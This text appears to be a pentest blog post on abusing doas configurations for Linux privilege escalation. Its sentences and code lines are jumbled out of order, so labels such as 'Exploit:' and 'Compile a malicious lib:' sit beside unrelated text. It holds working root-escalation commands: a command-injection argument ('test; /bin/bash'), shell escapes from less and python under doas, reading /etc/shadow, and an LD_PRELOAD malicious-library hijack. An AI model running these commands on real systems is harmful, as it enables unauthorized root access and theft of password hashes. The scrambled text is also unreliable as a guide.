./script.sh "test; /bin/bash" permit persist user1 as root Once you run doas -n id with password once, subsequent commands don’t need a password for a few minutes.

In this post, we’ll break down how doas works, where to find it, and how to abuse it for privilege escalation during a pentest. doas was originally from OpenBSD. It allows users to execute commands as another user (usually root) with a minimal configuration file: /etc/doas.conf

Keep hacking. Keep escalating.

doas /usr/bin/less /etc/shadow # inside less: !/bin/sh Or Python bypass:

permit user1 as root cmd /usr/bin/less doas less /etc/hosts # then type: !/bin/bash Known binaries for escapes: less , more , vi , vim , nano , awk , find , man , git , tmux , screen , ftp , irb , lua , perl , python , ruby , scp , tar . If keepenv is set, doas keeps LD_PRELOAD , LD_LIBRARY_PATH , PYTHONPATH , etc.

permit keepenv user1 as root Compile a malicious lib:

doas -s # or doas /bin/sh If the config allows a wildcard path, you might inject arguments.

#!/bin/sh doas /usr/bin/chown user "$1" Exploit:

— HackTricks Want more? Check out the HackTricks Linux Privilege Escalation guide for deeper dives.

Example script:

gcc -shared -fPIC evil.c -o evil.so LD_PRELOAD=./evil.so doas -n id If doas is called with unsanitized user input in a script.

doas /usr/bin/python3 -c 'import pty;pty.spawn("/bin/sh")' Many binaries allow shell escapes.